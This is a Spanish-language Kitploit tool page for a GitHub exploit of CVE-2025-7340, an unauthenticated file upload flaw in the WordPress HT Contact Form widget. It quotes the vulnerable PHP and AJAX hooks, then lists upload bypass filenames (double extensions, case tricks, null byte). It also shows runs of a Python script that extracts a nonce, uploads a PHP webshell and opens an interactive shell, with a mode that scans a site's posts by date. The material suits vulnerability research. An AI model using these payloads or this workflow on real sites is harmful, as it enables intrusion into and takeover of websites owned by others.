Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/kai-one001/wordpress-ht-contact-cve-2025-7340-rce
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónShellcodeExplotación de Aplicaciones WebPruebas de Penetración
GitHubkai-one001/wordpress-ht-contact-cve-2025-7340-rce

WordPress-HT-Contact-CVE-2025-7340-RCE

Exploit en Python para CVE-2025-7340, una vulnerabilidad de carga de archivos no autenticada en el widget HT Contact Form de WordPress, que permite la ejecución remota de código mediante el despliegue de webshells.

Ver Repositorio
1hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

WordPress HT Contact Form Widget | CVE-2025-7340 Análisis de la vulnerabilidad de carga de archivos

Ubicación de la vulnerabilidad

Ubicación de la vulnerabilidad: ht-contactform/admin/Includes/Services/FileManager.php Función clave: temp_file_upload()

1. Punto principal de la vulnerabilidad: función temp_file_upload

root@kitploit:~
#63行
public function temp_file_upload($file) {
  $destination = "{$this->dir}/temp";
  $this->maybe_create_directories($destination);
  // Validate file
  $validation = $this->validate($file);
  if (!$validation['valid']) {
​    wp_send_json_error($validation['message']);
​    return;
  }

  // Process the file
  $filename = $this->process_filename($file['name']);
  $file_path = "{$destination}/$filename";
  // Move file to temporary directory
  if (move_uploaded_file($file['tmp_name'], $file_path)) {
​    wp_send_json_success([
​      'file_id' => $filename,
​      'file_name' => $file['name'],
​      'file_size' => $file['size']
​    ]);
​    return;
  }
}

2. Punto de entrada de la vulnerabilidad: manejo de AJAX

Ubicación del archivo: ht-contactform/admin/Includes/Ajax.php:

root@kitploit:~
#46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);

Problema: se utiliza el hook wp_ajax_nopriv_ , lo que significa que los usuarios no autenticados también pueden acceder a la funcionalidad de carga de archivos.

Análisis de la causa raíz del problema:

  • Falta de validación del tipo de archivo: en la función validate de FileManager.php, solo se comprueban los errores de subida de PHP y no se valida en absoluto el tipo de archivo, la extensión ni el tipo MIME.
  • La configuración de tipos de archivo no se utiliza: el plugin define los archivos permitidos en Fields.php, pero solo se usa para la validación en el frontend al renderizar el formulario (atributo accept); el servidor no utiliza esta configuración para validar en absoluto.
  • El manejo del nombre de archivo no es lo suficientemente seguro: sanitize_file_name() procesa principalmente caracteres especiales, pero no impide las extensiones peligrosas; un atacante aún puede subir archivos como .php、.php3、.phtml, etc.

3. Problema de control de acceso

root@kitploit:~
// Ajax.php 第46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);

Análisis del problema:

  • Los usuarios no conectados también pueden acceder a la función de carga.
  • Se depende únicamente de la validación nonce, que podría ser evadida.

Escenarios de ataque

  1. Ataque directo: el atacante puede enviar una petición POST directamente a /wp-admin/admin-ajax.php, con la acción ht_form_temp_file_upload.

  2. Bypass de la validación del frontend: el frontend utiliza el atributo accept para restringir los tipos de archivo, pero el atacante puede evadirlo fácilmente.

  3. Ejecución de archivos: el archivo PHP subido puede ser ejecutado por el servidor web, lo que puede provocar la ejecución remota de código.

1. Bypass por doble extensión

root@kitploit:~
shell.php.jpg
shell.php.png
shell.php.gif

2. Bypass de mayúsculas y minúsculas

root@kitploit:~
shell.PHP
shell.Php
shell.pHp

3. Inyección de byte nulo (si la configuración del servidor lo permite)

root@kitploit:~
shell.php%00.jpg

4. Script de Python

Ten en cuenta que la URL solo es viable si se trata de un artículo publicado por el plugin, por lo que he añadido una función 02 de script kiddie.


01[Prueba individual] Ejemplo:

root@kitploit:~
python RCE.py -u http://192.168.162.131:8081/2025/08/04/test-0-1/

开始尝试.......
获取目标页面...
提取参数...
提取的Nonce: b05a39ff55
AJAX端点: http://192.168.162.131:8081/wp-admin/admin-ajax.php
表单ID: 6
生成webshell...
上传shell,请稍等...

[+] 漏洞利用成功!

Webshell地址: wp-content/uploads/ht_form/temp/6890c4e6f389c-shell.php

[+] 进入shell交互模式,输入'exit'退出!
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
退出交互模式

02[Prueba del directorio raíz] Ejemplo:

root@kitploit:~
python RCE.py -r http://192.168.162.131:8081
[*] 请输入日期 (默认20250804):
[*] 使用的日期: 20250804
[*] 正在扫描日期: 2025-08-04
[*] 扫描地址: http://192.168.162.131:8081/2025/08/04/
[*] 发现文章2: Test.0.1
[*] 发现文章3: 8 月 4, 2025
[*] 发现文章6: 世界,您好!
[*] 发现文章7: 8 月 4, 2025
[*] 开始漏洞利用...

[*] 正在利用: http://192.168.162.131:8081/2025/08/04/test-0-1/
开始尝试.......
获取目标页面...
提取参数...
提取的Nonce: b05a39ff55
AJAX端点: http://192.168.162.131:8081/wp-admin/admin-ajax.php
表单ID: 6
生成webshell...
上传shell,请稍等...

[+] 漏洞利用成功!

Webshell地址: wp-content/uploads/ht_form/temp/6890c53ca8d5c-shell.php

[+] 进入shell交互模式,输入'exit'退出!
shell> whoami
www-data
shell> ls
68908c7a7f86d-shell.php
68908fdbba025-shell.php
6890917c70228-shell.php
6890919055905-shell.php
689094afb2f6e-shell.php
6890977a20a7c-shell.php
689097bf2dce9-Users.txt
6890c4e6f389c-shell.php
6890c53ca8d5c-shell.php
index.php
shell> exit
退出交互模式
Descargar herramienta